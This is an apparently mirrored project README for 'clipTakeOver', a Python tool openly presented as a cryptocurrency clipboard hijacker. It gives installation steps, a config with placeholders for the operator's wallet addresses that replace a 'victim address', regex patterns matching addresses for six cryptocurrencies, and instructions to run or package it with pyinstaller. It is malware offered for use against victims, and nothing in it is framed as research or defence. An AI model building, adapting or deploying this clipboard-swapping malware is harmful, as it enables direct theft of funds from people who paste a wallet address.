Giter Site home page Giter Site logo

cliptakeover's Introduction

clipTakeOver

clipTakeOver is cryptocurrency clipboard hijacking tool build base on regex which mean it will listen on users clipboard once the user copy his for example Bitcoin address the tools will replace it with your address .

Installation

You need to install clipboard lib using the command below

pip install clipboard

Usage

Before you running the script you need to change some stuff in config.py

'''
    _set_Sleep_Time : = value (float)

    used to set up delay on checking the Clipboard Keep it low otherwise you will miss some copying 
'''
_set_Sleep_Time = 0.8

'''
    crypto_owner is dict which store your crypto address these address will replaced with 
    victim address You have to change them to your wallet public address

    if you want to target particular crypto replace the other values with empty string "" or None 

    exmaple: 

    crypto_owner = {
        "Ethereum" : "0xdafea492d9c6733ae3d56b7ed1adb60692c98bc5"
        "Bitcoin"       :    "",
        "Monero"        :    "",
        "Dash"          :    "",
        "Ripple"        :    "",
        "bitcoincash"   :    ""
    }


'''
crypto_owner = {
    "Ethereum"      :    "Ethereum wallet public address",
    "Bitcoin"       :    "Bitcoin wallet public address",
    "Monero"        :    "Monero wallet public address",
    "Dash"          :    "Dash wallet public address",
    "Ripple"        :    "Ripple wallet public address",
    "bitcoincash"   :    "bitcoincash wallet public address"
}

'''
    crypto_db_Rg is dataset used regex to match user clipboard input if clipboard match 
    any of these values it will replace it with your own wallet public address for particular crypto
    if the address regex pattern not found in the dataset the program will skip the replacments 
    for that value

    Changing the regex values may lead to False Positive In case if you want to add a new crypto 
    you must modify the crypto_owner also to accept and replace with your wallet address

    exmaple : -

    crypto_db_Rg = {
        "dogcoin" : r"your regex"
    }

    add dogcoin also to crypto_owner

    crypto_owner = {
        ....
        "dogcoin"  : "Your wallet"
    }


'''
crypto_db_Rg = {
    "Ethereum"      :    r"^0x[a-fA-F0-9]{40}$",
    "Bitcoin"       :    r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
    "Monero"        :    r"^4([0-9AB]{1})([0-9a-zA-Z]{93})$",
    "Dash"          :    r"X[1-9A-HJ-NP-Za-km-z]{33}$",
    "Ripple"        :    r"^([r])([1-9A-HJ-NP-Za-km-z]{24,34})$",
    "bitcoincash"   :    r"((bitcoincash|bchreg):)?(q|p)[a-z0-9]{41}"
}

after that simply you could run the script as following :-

python clipTakeOver.py

You could also use pyinstaller

if the program show no output that mean the program running you could copy some address for testing .

cryptocurrency support

  • Bitcoin
  • Ethereum
  • Monero
  • Dash
  • Ripple
  • bitcoincash

Feel Free to add more .

License

MIT

cliptakeover's People

Contributors

mr3moe avatar

Stargazers

Matt Hales avatar Marc  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.